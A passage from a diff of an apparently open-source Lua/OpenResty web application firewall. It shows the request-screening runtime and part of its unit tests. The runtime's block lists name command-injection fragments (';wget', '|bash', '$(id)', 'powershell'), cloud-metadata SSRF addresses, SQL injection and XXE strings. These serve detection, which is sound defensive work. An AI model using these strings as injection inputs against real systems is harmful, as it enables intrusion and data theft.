"/proc/self", "%00",
|
||||
}
|
||||
-- Prefer attack-shaped tokens; avoid bare "&&"/"||" and bare shell names.
|
||||
local command_patterns = {
|
||||
";wget", ";curl", ";bash", ";sh ", "|bash", "|sh ", "|sh\t", "`id`", "$(id)",
|
||||
"&&wget", "&&curl", "&&bash", "&&sh ", "||wget", "||curl", "||bash",
|
||||
"/bin/sh ", "/bin/bash ", "cmd.exe /c", "powershell -", "powershell.exe",
|
||||
}
|
||||
-- URL-shaped only: bare "localhost"/"0.0.0.0" match Chrome UA / normal text.
|
||||
local ssrf_patterns = {
|
||||
"http://127.0.0.1", "https://127.0.0.1", "http://localhost", "https://localhost",
|
||||
"http://0.0.0.0", "https://0.0.0.0", "http://[::1]", "https://[::1]",
|
||||
"://169.254.", "169.254.169.254", "metadata.google",
|
||||
"file://", "gopher://", "dict://",
|
||||
}
|
||||
local upload_patterns = {
|
||||
".php.", ".jsp.", ".asp.", ".aspx.", ".phtml", ".phar",
|
||||
"application/x-php", "application/x-httpd-php",
|
||||
}
|
||||
local xxe_patterns = {
|
||||
"<!entity", " system \"", " system '", "file://",
|
||||
}
|
||||
-- Keep encoded CRLF; bare %0a alone is too common in benign encoded text.
|
||||
local crlf_patterns = {
|
||||
"%0d%0a", "\r\n",
|
||||
}
|
||||
local sql_static_patterns = {
|
||||
"union select", " or 1=1", "' or '", "\" or \"",
|
||||
"information_schema", "xp_cmdshell", "load_file(", " into outfile",
|
||||
"/**/", "/*!", "*/--", "@@version",
|
||||
}
|
||||
|
||||
local function security_flag_enabled(value)
|
||||
return value == true or value == 1 or value == "true" or value == "1"
|
||||
end
|
||||
|
||||
local function security_append_list(dst, src)
|
||||
for _, item in ipairs(src) do dst[#dst + 1] = item end
|
||||
end
|
||||
|
||||
local function matches_security_check(config)
|
||||
config = config or {}
|
||||
local sql_injection = security_flag_enabled(config.sql_injection)
|
||||
local path_traversal = security_flag_enabled(config.path_traversal)
|
||||
local command_injection = security_flag_enabled(config.command_injection)
|
||||
local xss = security_flag_enabled(config.xss)
|
||||
local ssrf = security_flag_enabled(config.ssrf)
|
||||
local file_inclusion = security_flag_enabled(config.file_inclusion)
|
||||
local malicious_upload = security_flag_enabled(config.malicious_upload)
|
||||
local xxe = security_flag_enabled(config.xxe)
|
||||
local crlf_injection = security_flag_enabled(config.crlf_injection)
|
||||
if not (sql_injection or path_traversal or command_injection or xss or ssrf
|
||||
or file_inclusion or malicious_upload or xxe or crlf_injection) then
|
||||
return true
|
||||
end
|
||||
|
||||
-- Collect only what enabled checks need (P1). Path uses uri only (not request_uri)
|
||||
-- to avoid re-scanning query; query is collected separately when needed (P0).
|
||||
local need_path = path_traversal or file_inclusion
|
||||
local need_query = path_traversal or file_inclusion or sql_injection or command_injection
|
||||
or xss or ssrf or crlf_injection
|
||||
local need_sensitive_headers = sql_injection or command_injection or xss or ssrf or crlf_injection
|
||||
local need_body = malicious_upload or xxe
|
||||
or ((sql_injection or path_traversal or command_injection or xss or ssrf
|
||||
or file_inclusion or crlf_injection)
|
||||
and (tonumber(ngx.var.content_length or "") or 0) > 0)
|
||||
|
||||
local path_inputs, query_inputs, header_inputs, body_inputs = {}, {}, {}, {}
|
||||
if need_path then
|
||||
security_append_decoded(path_inputs, ngx.var.uri or "")
|
||||
end
|
||||
if need_query then
|
||||
security_collect_args(query_inputs)
|
||||
end
|
||||
if need_sensitive_headers then
|
||||
security_collect_sensitive_headers(header_inputs)
|
||||
end
|
||||
|
||||
local body
|
||||
if need_body then body = security_read_body() end
|
||||
if body then security_append_decoded(body_inputs, body) end
|
||||
|
||||
if path_traversal or file_inclusion then
|
||||
local pq = {}
|
||||
security_append_list(pq, path_inputs)
|
||||
security_append_list(pq, query_inputs)
|
||||
security_append_list(pq, body_inputs)
|
||||
if path_traversal and security_match_any(pq, path_traversal_patterns) then return false end
|
||||
if file_inclusion and security_match_any(pq, file_inclusion_patterns) then return false end
|
||||
end
|
||||
|
||||
if sql_injection or command_injection or xss or ssrf or crlf_injection then
|
||||
local qhb = {}
|
||||
security_append_list(qhb, query_inputs)
|
||||
security_append_list(qhb, header_inputs)
|
||||
security_append_list(qhb, body_inputs)
|
||||
if sql_injection then
|
||||
if security_match_any(qhb, sql_static_patterns) or security_match_sql_timed(qhb) then
|
||||
return false
|
||||
end
|
||||
end
|
||||
if command_injection and security_match_any(qhb, command_patterns) then return false end
|
||||
if xss and security_match_xss(qhb) then return false end
|
||||
if ssrf and security_match_any(qhb, ssrf_patterns) then return false end
|
||||
if crlf_injection and security_match_any(qhb, crlf_patterns) then return false end
|
||||
end
|
||||
|
||||
if malicious_upload and body then
|
||||
local content_type = string.lower(ngx.var.content_type or "")
|
||||
if string.find(content_type, "multipart/", 1, true) then
|
||||
if security_match_any(body_inputs, upload_patterns) then return false end
|
||||
end
|
||||
end
|
||||
if xxe and body then
|
||||
local content_type = string.lower(ngx.var.content_type or "")
|
||||
if string.find(content_type, "xml", 1, true) or string.find(string.lower(body), "<?xml", 1, true) then
|
||||
if security_match_any(body_inputs, xxe_patterns) then return false end
|
||||
end
|
||||
end
|
||||
return true
|
||||
end
|
||||
|
||||
local function fail_closed(reason)
|
||||
local dict = ngx.shared and ngx.shared.openflare_waf_config
|
||||
if not dict or not dict.add or dict:add("_damaged_graph_logged", true, 60) then
|
||||
ngx.log(ngx.ERR, "openflare waf damaged runtime graph: ", reason)
|
||||
end
|
||||
ngx.ctx.openflare_waf_blocked = true
|
||||
ngx.status = 500
|
||||
ngx.header["Content-Type"] = "text/plain; charset=utf-8"
|
||||
ngx.say("OpenFlare WAF runtime error")
|
||||
return ngx.exit(500)
|
||||
end
|
||||
|
||||
local function render_block(config)
|
||||
config = config or {}
|
||||
local status = tonumber(config.status_code) or 403
|
||||
ngx.ctx.openflare_waf_blocked = true
|
||||
ngx.status = status
|
||||
local body = config.response_body or ""
|
||||
if body ~= "" then
|
||||
ngx.header["Content-Type"] = "text/html; charset=utf-8"
|
||||
ngx.say(body)
|
||||
end
|
||||
return ngx.exit(status)
|
||||
end
|
||||
|
||||
local function execute_graph(graph)
|
||||
if type(graph) ~= "table" or type(graph.nodes) ~= "table" or type(graph.entry) ~= "string" then
|
||||
return nil, "invalid graph"
|
||||
end
|
||||
local node_count = 0
|
||||
for _ in pairs(graph.nodes) do node_count = node_count + 1 end
|
||||
local current = graph.entry
|
||||
for _ = 1, node_count do
|
||||
local node = graph.nodes[current]
|
||||
if type(node) ~= "table" or type(node.type) ~= "string" then
|
||||
return nil, "missing node " .. tostring(current)
|
||||
end
|
||||
if node.type == "allow" then
|
||||
return { kind = "allow" }
|
||||
end
|
||||
if node.type == "block" then
|
||||
return { kind = "block", config = node.config }
|
||||
end
|
||||
local handle
|
||||
if node.type == "start" then
|
||||
handle = "next"
|
||||
elseif node.type == "ip_match" then
|
||||
handle = matches_ip_values(node.config or {}, ngx.var.remote_addr or "") and "true" or "false"
|
||||
elseif node.type == "geo_match" then
|
||||
local config = node.config or {}
|
||||
local region_required = type(config.regions) == "table" and #config.regions > 0
|
||||
local country, region = geo_lookup(ngx.var.remote_addr or "", region_required)
|
||||
handle = (list_contains(config.countries, country) or list_contains(config.regions, region)) and "true" or "false"
|
||||
elseif node.type == "ua_check" then
|
||||
handle = matches_ua_check(node.config or {}) and "true" or "false"
|
||||
elseif node.type == "security_check" then
|
||||
handle = matches_security_check(node.config or {}) and "true" or "false"
|
||||
elseif node.type == "pow" then
|
||||
if pow_runtime.evaluate(node.config or {}) ~= true then
|
||||
return { kind = "takeover" }
|
||||
end
|
||||
handle = "next"
|
||||
else
|
||||
return nil, "unknown node type " .. node.type
|
||||
end
|
||||
if type(node.next) ~= "table" or type(node.next[handle]) ~= "string" then
|
||||
return nil, "missing " .. handle .. " edge from " .. current
|
||||
end
|
||||
current = node.next[handle]
|
||||
end
|
||||
return nil, "graph exceeded maximum steps"
|
||||
end
|
||||
|
||||
local function active_rules(site)
|
||||
local by_id, result = {}, {}
|
||||
for _, rule in ipairs(array_or_empty(rules_config.rule_groups)) do
|
||||
by_id[tostring(rule.id)] = rule
|
||||
if rule.enabled and rule.is_global then result[#result + 1] = rule end
|
||||
end
|
||||
for _, binding in ipairs(array_or_empty(rules_config.bindings)) do
|
||||
if binding.site_name == site then
|
||||
for _, id in ipairs(array_or_empty(binding.rule_group_ids)) do
|
||||
local rule = by_id[tostring(id)]
|
||||
if rule and rule.enabled and not rule.is_global then result[#result + 1] = rule end
|
||||
end
|
||||
break
|
||||
end
|
||||
end
|
||||
return result
|
||||
end
|
||||
|
||||
local function is_internal_pow_continuation()
|
||||
if not ngx.req or not ngx.req.is_internal or not ngx.req.is_internal() then return false end
|
||||
local uri = ngx.var.uri or ""
|
||||
local api_prefix = "/.within.website/x/cmd/anubis/api/"
|
||||
local static_prefix = "/.within.website/x/cmd/anubis/static/"
|
||||
return string.sub(uri, 1, #api_prefix) == api_prefix or string.sub(uri, 1, #static_prefix) == static_prefix
|
||||
end
|
||||
|
||||
function _M.check()
|
||||
if not rules_config then
|
||||
return fail_closed("runtime not initialized")
|
||||
end
|
||||
if is_internal_pow_continuation() then
|
||||
ngx.ctx.openflare_pow_takeover = true
|
||||
return
|
||||
end
|
||||
for _, rule in ipairs(active_rules(ngx.var.openflare_waf_site or "")) do
|
||||
local decision, err = execute_graph(rule.graph)
|
||||
if not decision then return fail_closed(err) end
|
||||
if decision.kind == "block" then return render_block(decision.config) end
|
||||
if decision.kind == "takeover" then return end
|
||||
end
|
||||
return "ok"
|
||||
end
|
||||
|
||||
-- Test helpers for unit specs.
|
||||
function _M.debug_security_check(config)
|
||||
return matches_security_check(config or {})
|
||||
end
|
||||
|
||||
function _M.debug_active_rules(site)
|
||||
return active_rules(site or "")
|
||||
end
|
||||
|
||||
function _M.debug_execute_graph(graph)
|
||||
return execute_graph(graph)
|
||||
end
|
||||
|
||||
function _M.debug_compile_ip_matcher(entries)
|
||||
return compile_ip_matcher(entries)
|
||||
end
|
||||
|
||||
function _M.debug_matches_ip_values(config, ip)
|
||||
return matches_ip_values(config or {}, ip or "")
|
||||
end
|
||||
|
||||
return _M
|
||||
@@ -0,0 +1,964 @@
|
||||
local runtime_path = assert(WAF_RUNTIME_PATH, "WAF_RUNTIME_PATH is required")
|
||||
|
||||
local function assert_equal(actual, expected, message)
|
||||
if actual ~= expected then
|
||||
error((message or "values differ") .. ": expected " .. tostring(expected) .. ", got " .. tostring(actual), 2)
|
||||
end
|
||||
end
|
||||
|
||||
-- Stable tables: never rebind `output` (closures capture the upvalue slot; rebinding
|
||||
-- can leave stale fields visible under gopher-lua across long test sequences).
|
||||
local output = {}
|
||||
local pow_calls = {}
|
||||
local pow_results = {}
|
||||
local shared_keys = {}
|
||||
local logs = {}
|
||||
|
||||
local function clear_output()
|
||||
output.exit = nil
|
||||
output.body = nil
|
||||
output.log = nil
|
||||
end
|
||||
|
||||
ngx = {
|
||||
WARN = "WARN",
|
||||
ERR = "ERR",
|
||||
var = {},
|
||||
ctx = {},
|
||||
header = {},
|
||||
shared = {
|
||||
openflare_waf_config = {
|
||||
add = function(_, key)
|
||||
if shared_keys[key] then return false end
|
||||
shared_keys[key] = true
|
||||
return true
|
||||
end,
|
||||
},
|
||||
},
|
||||
req = { is_internal = function() return ngx.var.openflare_internal == true end },
|
||||
say = function(body) output.body = body end,
|
||||
exit = function(status) output.exit = status return status end,
|
||||
log = function(_, ...)
|
||||
local parts = { ... }
|
||||
for index, value in ipairs(parts) do parts[index] = tostring(value) end
|
||||
output.log = table.concat(parts)
|
||||
logs[#logs + 1] = output.log
|
||||
end,
|
||||
}
|
||||
|
||||
local pow_stub = {}
|
||||
function pow_stub.evaluate(config)
|
||||
pow_calls[#pow_calls + 1] = config.difficulty
|
||||
local result = pow_results[1]
|
||||
table.remove(pow_results, 1)
|
||||
return result
|
||||
end
|
||||
|
||||
local function node(node_type, config, next_nodes)
|
||||
return { type = node_type, config = config or {}, next = next_nodes }
|
||||
end
|
||||
|
||||
local function graph(nodes, entry)
|
||||
return { entry = entry or "start", nodes = nodes }
|
||||
end
|
||||
|
||||
local function rule(id, is_global, rule_graph)
|
||||
return { id = id, enabled = true, is_global = is_global or false, graph = rule_graph }
|
||||
end
|
||||
|
||||
local function start_to(target)
|
||||
return node("start", {}, { next = target })
|
||||
end
|
||||
|
||||
local function load_runtime(config, options)
|
||||
local chunk = assert(loadfile(runtime_path))
|
||||
local runtime = chunk()
|
||||
options = options or {}
|
||||
runtime.init({
|
||||
config = config,
|
||||
ip_groups = options.ip_groups or { groups = {} },
|
||||
pow = pow_stub,
|
||||
geo_lookup = options.geo_lookup,
|
||||
runtime_dir = options.runtime_dir,
|
||||
geo_file_exists = options.geo_file_exists,
|
||||
country_mmdb_path = options.country_mmdb_path or (options.runtime_dir and (options.runtime_dir .. "/GeoLite2-Country.mmdb") or nil),
|
||||
city_mmdb_path = options.city_mmdb_path or (options.runtime_dir and (options.runtime_dir .. "/GeoLite2-City.mmdb") or nil),
|
||||
})
|
||||
return runtime
|
||||
end
|
||||
|
||||
local function reset_request(site, ip, uri, is_internal, user_agent)
|
||||
local path = uri or "/"
|
||||
ngx.var = {
|
||||
openflare_waf_site = site,
|
||||
remote_addr = ip or "192.0.2.1",
|
||||
uri = path,
|
||||
request_uri = path,
|
||||
request_id = "request-1",
|
||||
openflare_internal = is_internal == true,
|
||||
http_user_agent = user_agent,
|
||||
}
|
||||
ngx.ctx = {}
|
||||
ngx.header = {}
|
||||
ngx.status = nil
|
||||
clear_output()
|
||||
pow_calls = {}
|
||||
pow_results = {}
|
||||
ngx.req = {
|
||||
is_internal = function() return is_internal == true end,
|
||||
get_uri_args = function() return {} end,
|
||||
get_headers = function() return {} end,
|
||||
}
|
||||
end
|
||||
|
||||
local function binding(site, ids)
|
||||
return { site_name = site, rule_group_ids = ids }
|
||||
end
|
||||
|
||||
local function test_ip_true_and_false()
|
||||
local config = {
|
||||
rule_groups = { rule(1, false, graph({
|
||||
start = start_to("match"),
|
||||
match = node("ip_match", { ips = { "192.0.2.1" }, cidrs = { "198.51.100.0/24" }, ip_group_ids = { 7 } }, { ["true"] = "blocked", ["false"] = "allow" }),
|
||||
blocked = node("block", { status_code = 451, response_body = "ip blocked" }),
|
||||
allow = node("allow"),
|
||||
})) },
|
||||
bindings = { binding("ip-site", { 1 }) },
|
||||
}
|
||||
local runtime = load_runtime(config, { ip_groups = { groups = { ["7"] = { enabled = true, ip_list = { "203.0.113.7" } } } } })
|
||||
|
||||
reset_request("ip-site", "192.0.2.1")
|
||||
runtime.check()
|
||||
assert_equal(output.exit, 451, "exact IP true branch")
|
||||
|
||||
reset_request("ip-site", "198.51.100.8")
|
||||
runtime.check()
|
||||
assert_equal(output.exit, 451, "CIDR true branch")
|
||||
|
||||
reset_request("ip-site", "203.0.113.7")
|
||||
runtime.check()
|
||||
assert_equal(output.exit, 451, "IP group true branch")
|
||||
|
||||
reset_request("ip-site", "203.0.113.8")
|
||||
runtime.check()
|
||||
assert_equal(output.exit, nil, "IP false branch")
|
||||
end
|
||||
|
||||
local function test_ipv6_exact_cidr_and_group()
|
||||
local config = {
|
||||
rule_groups = { rule(8, false, graph({
|
||||
start = start_to("match"),
|
||||
match = node("ip_match", { ips = { "2001:db8::1" }, cidrs = { "2001:db8:abcd::/48" }, ip_group_ids = { 9 } }, { ["true"] = "blocked", ["false"] = "allow" }),
|
||||
blocked = node("block", { status_code = 451, response_body = "ipv6 blocked" }),
|
||||
allow = node("allow"),
|
||||
})) },
|
||||
bindings = { binding("ipv6-site", { 8 }) },
|
||||
}
|
||||
local runtime = load_runtime(config, { ip_groups = { groups = { ["9"] = { enabled = true, ip_list = { "2001:db8:ffff::/48" } } } } })
|
||||
|
||||
reset_request("ipv6-site", "2001:0db8:0:0:0:0:0:1")
|
||||
runtime.check()
|
||||
assert_equal(output.exit, 451, "canonical-equivalent IPv6 exact match")
|
||||
|
||||
reset_request("ipv6-site", "2001:db8:abcd:12::9")
|
||||
runtime.check()
|
||||
assert_equal(output.exit, 451, "IPv6 CIDR true branch")
|
||||
|
||||
reset_request("ipv6-site", "2001:db8:ffff:beef::9")
|
||||
runtime.check()
|
||||
assert_equal(output.exit, 451, "IP group IPv6 CIDR true branch")
|
||||
|
||||
reset_request("ipv6-site", "2001:db9::1")
|
||||
runtime.check()
|
||||
assert_equal(output.exit, nil, "IPv6 false branch")
|
||||
end
|
||||
|
||||
local function test_geo_true_and_false()
|
||||
local config = {
|
||||
rule_groups = { rule(2, false, graph({
|
||||
start = start_to("geo"),
|
||||
geo = node("geo_match", { countries = { "US" }, regions = { "DE-BE" } }, { ["true"] = "blocked", ["false"] = "allow" }),
|
||||
blocked = node("block", { status_code = 403, response_body = "geo blocked" }),
|
||||
allow = node("allow"),
|
||||
})) },
|
||||
bindings = { binding("geo-site", { 2 }) },
|
||||
}
|
||||
local country, region = "US", "NY"
|
||||
local runtime = load_runtime(config, { geo_lookup = function() return country, region end })
|
||||
|
||||
reset_request("geo-site")
|
||||
runtime.check()
|
||||
assert_equal(output.exit, 403, "country true branch")
|
||||
|
||||
country, region = "DE", "DE-BE"
|
||||
reset_request("geo-site")
|
||||
runtime.check()
|
||||
assert_equal(output.exit, 403, "region true branch")
|
||||
|
||||
country, region = "DE", "BE"
|
||||
reset_request("geo-site")
|
||||
runtime.check()
|
||||
assert_equal(output.exit, nil, "geo false branch")
|
||||
end
|
||||
|
||||
local function test_geo_module_is_initialized_once_and_composes_region()
|
||||
local init_calls, lookup_calls = 0, 0
|
||||
local initialized_profiles = {}
|
||||
package.loaded["resty.maxminddb"] = nil
|
||||
package.preload["resty.maxminddb"] = function()
|
||||
return {
|
||||
init = function(profiles)
|
||||
init_calls = init_calls + 1
|
||||
for profile, path in pairs(profiles) do initialized_profiles[profile] = path end
|
||||
return true
|
||||
end,
|
||||
has_profile = function(profile) return initialized_profiles[profile] ~= nil end,
|
||||
lookup = function(_, _, profile)
|
||||
lookup_calls = lookup_calls + 1
|
||||
assert_equal(profile, "city", "subdivision lookup uses City profile")
|
||||
return { country = { iso_code = "US" }, subdivisions = { { iso_code = "CA" } } }
|
||||
end,
|
||||
}
|
||||
end
|
||||
local config = {
|
||||
rule_groups = { rule(12, false, graph({
|
||||
start = start_to("geo"),
|
||||
geo = node("geo_match", { regions = { "US-CA" } }, { ["true"] = "blocked", ["false"] = "allow" }),
|
||||
blocked = node("block", { status_code = 403 }),
|
||||
allow = node("allow"),
|
||||
})) },
|
||||
bindings = { binding("geo-cache", { 12 }) },
|
||||
}
|
||||
local runtime = load_runtime(config, { runtime_dir = "/runtime", geo_file_exists = function() return true end })
|
||||
assert_equal(init_calls, 2, "each MaxMind profile initializes independently during worker init")
|
||||
assert_equal(initialized_profiles.city, "/runtime/GeoLite2-City.mmdb", "City profile path")
|
||||
assert_equal(initialized_profiles.country, "/runtime/GeoLite2-Country.mmdb", "Country profile path")
|
||||
for _ = 1, 3 do
|
||||
reset_request("geo-cache")
|
||||
runtime.check()
|
||||
assert_equal(output.exit, 403, "MaxMind subdivision composes validator-compatible region")
|
||||
end
|
||||
assert_equal(init_calls, 2, "MaxMind database is not initialized on requests")
|
||||
assert_equal(lookup_calls, 3, "requests only perform lookup")
|
||||
end
|
||||
|
||||
local function test_geo_country_fallback_does_not_fake_region()
|
||||
local profiles
|
||||
package.loaded["resty.maxminddb"] = nil
|
||||
package.preload["resty.maxminddb"] = function()
|
||||
return {
|
||||
init = function(value) profiles = value return true end,
|
||||
has_profile = function(profile) return profiles[profile] ~= nil end,
|
||||
lookup = function(_, _, profile)
|
||||
assert_equal(profile, "country", "fallback lookup uses Country profile")
|
||||
return { country = { iso_code = "US" }, subdivisions = { { iso_code = "CA" } } }
|
||||
end,
|
||||
}
|
||||
end
|
||||
shared_keys = {}
|
||||
logs = {}
|
||||
local country_graph = graph({
|
||||
start = start_to("geo"),
|
||||
geo = node("geo_match", { countries = { "US" } }, { ["true"] = "blocked", ["false"] = "allow" }),
|
||||
blocked = node("block", { status_code = 403 }), allow = node("allow"),
|
||||
})
|
||||
local region_graph = graph({
|
||||
start = start_to("geo"),
|
||||
geo = node("geo_match", { regions = { "US-CA" } }, { ["true"] = "blocked", ["false"] = "allow" }),
|
||||
blocked = node("block", { status_code = 451 }), allow = node("allow"),
|
||||
})
|
||||
local runtime = load_runtime({
|
||||
rule_groups = { rule(15, false, country_graph), rule(16, false, region_graph) },
|
||||
bindings = { binding("country-only", { 15 }), binding("region-without-city", { 16 }) },
|
||||
}, {
|
||||
runtime_dir = "/runtime",
|
||||
geo_file_exists = function(path) return string.find(path, "Country", 1, true) ~= nil end,
|
||||
})
|
||||
|
||||
reset_request("country-only")
|
||||
runtime.check()
|
||||
assert_equal(output.exit, 403, "Country fallback remains available")
|
||||
|
||||
reset_request("region-without-city")
|
||||
runtime.check()
|
||||
assert_equal(output.exit, nil, "Country subdivisions must not satisfy region")
|
||||
runtime.check()
|
||||
assert_equal(#logs, 1, "missing City warning is rate limited")
|
||||
end
|
||||
|
||||
local function test_geo_city_init_failure_retries_country_profile()
|
||||
local init_calls = {}
|
||||
local profiles = {}
|
||||
package.loaded["resty.maxminddb"] = nil
|
||||
package.preload["resty.maxminddb"] = function()
|
||||
return {
|
||||
init = function(value)
|
||||
init_calls[#init_calls + 1] = value
|
||||
if value.city then return false end
|
||||
profiles = value
|
||||
return true
|
||||
end,
|
||||
has_profile = function(profile) return profiles[profile] ~= nil end,
|
||||
lookup = function(_, _, profile)
|
||||
assert_equal(profile, "country", "corrupt City fallback uses Country")
|
||||
return { country = { iso_code = "DE" } }
|
||||
end,
|
||||
}
|
||||
end
|
||||
shared_keys = {}
|
||||
logs = {}
|
||||
local runtime = load_runtime({
|
||||
rule_groups = { rule(17, false, graph({
|
||||
start = start_to("geo"),
|
||||
geo = node("geo_match", { countries = { "DE" }, regions = { "DE-BE" } }, { ["true"] = "blocked", ["false"] = "allow" }),
|
||||
blocked = node("block", { status_code = 403 }), allow = node("allow"),
|
||||
})) },
|
||||
bindings = { binding("corrupt-city", { 17 }) },
|
||||
}, { runtime_dir = "/runtime", geo_file_exists = function() return true end })
|
||||
|
||||
reset_request("corrupt-city")
|
||||
runtime.check()
|
||||
assert_equal(#init_calls, 2, "Country profile is retried after City profile init failure")
|
||||
assert_equal(output.exit, 403, "Country remains available after corrupt City init")
|
||||
end
|
||||
|
||||
local function test_geo_partial_init_never_looks_up_corrupt_city()
|
||||
local opened = {}
|
||||
local lookups = {}
|
||||
package.loaded["resty.maxminddb"] = nil
|
||||
package.preload["resty.maxminddb"] = function()
|
||||
return {
|
||||
init = function(profiles)
|
||||
if profiles.country then opened.country = true end
|
||||
if profiles.city then return nil, "corrupt City" end
|
||||
return true
|
||||
end,
|
||||
initted = function() return next(opened) ~= nil end,
|
||||
lookup = function(_, _, profile)
|
||||
lookups[#lookups + 1] = profile
|
||||
assert_equal(opened[profile], true, "lookup must only use an opened profile")
|
||||
return { country = { iso_code = "DE" } }
|
||||
end,
|
||||
}
|
||||
end
|
||||
local runtime = load_runtime({
|
||||
rule_groups = { rule(18, false, graph({
|
||||
start = start_to("geo"),
|
||||
geo = node("geo_match", { countries = { "DE" } }, { ["true"] = "blocked", ["false"] = "allow" }),
|
||||
blocked = node("block", { status_code = 403 }), allow = node("allow"),
|
||||
})) },
|
||||
bindings = { binding("partial-corrupt-city", { 18 }) },
|
||||
}, { runtime_dir = "/runtime", geo_file_exists = function() return true end })
|
||||
|
||||
reset_request("partial-corrupt-city")
|
||||
runtime.check()
|
||||
assert_equal(table.concat(lookups, ","), "country", "corrupt City is never looked up")
|
||||
assert_equal(output.exit, 403, "valid Country remains available")
|
||||
end
|
||||
|
||||
local function test_geo_partial_init_never_looks_up_corrupt_country()
|
||||
local opened = {}
|
||||
local lookups = {}
|
||||
package.loaded["resty.maxminddb"] = nil
|
||||
package.preload["resty.maxminddb"] = function()
|
||||
return {
|
||||
init = function(profiles)
|
||||
if profiles.city then opened.city = true end
|
||||
if profiles.country then return nil, "corrupt Country" end
|
||||
return true
|
||||
end,
|
||||
initted = function() return next(opened) ~= nil end,
|
||||
lookup = function(_, _, profile)
|
||||
lookups[#lookups + 1] = profile
|
||||
assert_equal(opened[profile], true, "lookup must only use an opened profile")
|
||||
return nil, "address absent"
|
||||
end,
|
||||
}
|
||||
end
|
||||
local runtime = load_runtime({
|
||||
rule_groups = { rule(19, false, graph({
|
||||
start = start_to("geo"),
|
||||
geo = node("geo_match", { countries = { "DE" } }, { ["true"] = "blocked", ["false"] = "allow" }),
|
||||
blocked = node("block", { status_code = 403 }), allow = node("allow"),
|
||||
})) },
|
||||
bindings = { binding("partial-corrupt-country", { 19 }) },
|
||||
}, { runtime_dir = "/runtime", geo_file_exists = function() return true end })
|
||||
|
||||
reset_request("partial-corrupt-country")
|
||||
runtime.check()
|
||||
assert_equal(table.concat(lookups, ","), "city", "corrupt Country is never used as fallback")
|
||||
assert_equal(output.exit, nil, "missing City result takes false branch without corrupt fallback")
|
||||
end
|
||||
|
||||
local function test_geo_unavailable_warning_is_rate_limited()
|
||||
package.loaded["resty.maxminddb"] = nil
|
||||
package.preload["resty.maxminddb"] = function() error("module unavailable") end
|
||||
shared_keys = {}
|
||||
logs = {}
|
||||
local config = {
|
||||
rule_groups = { rule(13, false, graph({
|
||||
start = start_to("geo"),
|
||||
geo = node("geo_match", { countries = { "US" } }, { ["true"] = "blocked", ["false"] = "allow" }),
|
||||
blocked = node("block", { status_code = 403 }),
|
||||
allow = node("allow"),
|
||||
})) },
|
||||
bindings = { binding("geo-missing", { 13 }) },
|
||||
}
|
||||
local first = load_runtime(config)
|
||||
local second = load_runtime(config)
|
||||
reset_request("geo-missing")
|
||||
first.check()
|
||||
second.check()
|
||||
assert_equal(#logs, 1, "missing MaxMind warning is rate limited across workers")
|
||||
end
|
||||
|
||||
local function test_pow_takeover_and_completion()
|
||||
local config = {
|
||||
rule_groups = { rule(3, false, graph({
|
||||
start = start_to("pow"),
|
||||
pow = node("pow", { algorithm = "fast", difficulty = 5, session_ttl = 600, challenge_ttl = 300 }, { next = "blocked" }),
|
||||
blocked = node("block", { status_code = 429, response_body = "after pow" }),
|
||||
allow = node("allow"),
|
||||
})) },
|
||||
bindings = { binding("pow-site", { 3 }) },
|
||||
}
|
||||
local runtime = load_runtime(config)
|
||||
|
||||
reset_request("pow-site")
|
||||
pow_results = { false }
|
||||
runtime.check()
|
||||
assert_equal(output.exit, nil, "PoW takeover must stop graph execution")
|
||||
assert_equal(#pow_calls, 1, "PoW evaluated once")
|
||||
|
||||
reset_request("pow-site")
|
||||
pow_results = { true }
|
||||
runtime.check()
|
||||
assert_equal(output.exit, 429, "completed PoW follows next edge")
|
||||
end
|
||||
|
||||
local function test_pow_internal_redirect_bypasses_graph_as_takeover()
|
||||
local config = {
|
||||
rule_groups = { rule(14, false, graph({
|
||||
start = start_to("pow"),
|
||||
pow = node("pow", { difficulty = 4 }, { next = "blocked" }),
|
||||
blocked = node("block", { status_code = 429 }),
|
||||
allow = node("allow"),
|
||||
})) },
|
||||
bindings = { binding("pow-internal", { 14 }) },
|
||||
}
|
||||
local runtime = load_runtime(config)
|
||||
reset_request("pow-internal", "192.0.2.1", "/.within.website/x/cmd/anubis/api/make-challenge", true)
|
||||
pow_results = { true }
|
||||
runtime.check()
|
||||
assert_equal(#pow_calls, 0, "internal challenge continuation must not re-enter DAG")
|
||||
assert_equal(output.exit, nil, "internal challenge continuation must not follow pow next")
|
||||
end
|
||||
|
||||
local function test_block_config_and_rule_order()
|
||||
local function pow_allow(difficulty)
|
||||
return graph({
|
||||
start = start_to("pow"),
|
||||
pow = node("pow", { algorithm = "fast", difficulty = difficulty, session_ttl = 600, challenge_ttl = 300 }, { next = "allow" }),
|
||||
allow = node("allow"),
|
||||
})
|
||||
end
|
||||
local config = {
|
||||
rule_groups = {
|
||||
rule(10, true, pow_allow(10)),
|
||||
rule(20, false, pow_allow(20)),
|
||||
rule(30, false, pow_allow(30)),
|
||||
rule(40, false, graph({
|
||||
start = start_to("blocked"),
|
||||
blocked = node("block", { status_code = 418, response_body = "custom block" }),
|
||||
allow = node("allow"),
|
||||
})),
|
||||
},
|
||||
bindings = { binding("ordered-site", { 30, 20, 40 }) },
|
||||
}
|
||||
local runtime = load_runtime(config)
|
||||
|
||||
reset_request("ordered-site")
|
||||
pow_results = { true, true, true }
|
||||
runtime.check()
|
||||
assert_equal(table.concat(pow_calls, ","), "10,30,20", "global rule precedes binding order")
|
||||
assert_equal(output.exit, 418, "block status comes from reached block node")
|
||||
assert_equal(output.body, "custom block", "block body comes from reached block node")
|
||||
assert_equal(ngx.header["Content-Type"], "text/html; charset=utf-8", "block content type")
|
||||
end
|
||||
|
||||
local function test_damaged_graphs_fail_closed()
|
||||
local configs = {
|
||||
graph({ start = start_to("unknown"), unknown = node("future_node"), allow = node("allow") }),
|
||||
graph({ start = start_to("missing"), allow = node("allow") }),
|
||||
graph({ start = start_to("loop"), loop = node("start", {}, { next = "loop" }), allow = node("allow") }),
|
||||
}
|
||||
for index, damaged in ipairs(configs) do
|
||||
local runtime = load_runtime({ rule_groups = { rule(index, false, damaged) }, bindings = { binding("damaged", { index }) } })
|
||||
reset_request("damaged")
|
||||
runtime.check()
|
||||
assert_equal(output.exit, 500, "damaged graph " .. index .. " must fail closed")
|
||||
end
|
||||
end
|
||||
|
||||
local function test_null_binding_ids_are_treated_as_empty()
|
||||
local runtime = load_runtime({
|
||||
rule_groups = {},
|
||||
-- cjson decodes JSON null to userdata (ngx.null). io.stdout provides the
|
||||
-- same Lua value type in this standalone regression test.
|
||||
bindings = { binding("null-binding", io.stdout) },
|
||||
})
|
||||
|
||||
reset_request("null-binding")
|
||||
local result = runtime.check()
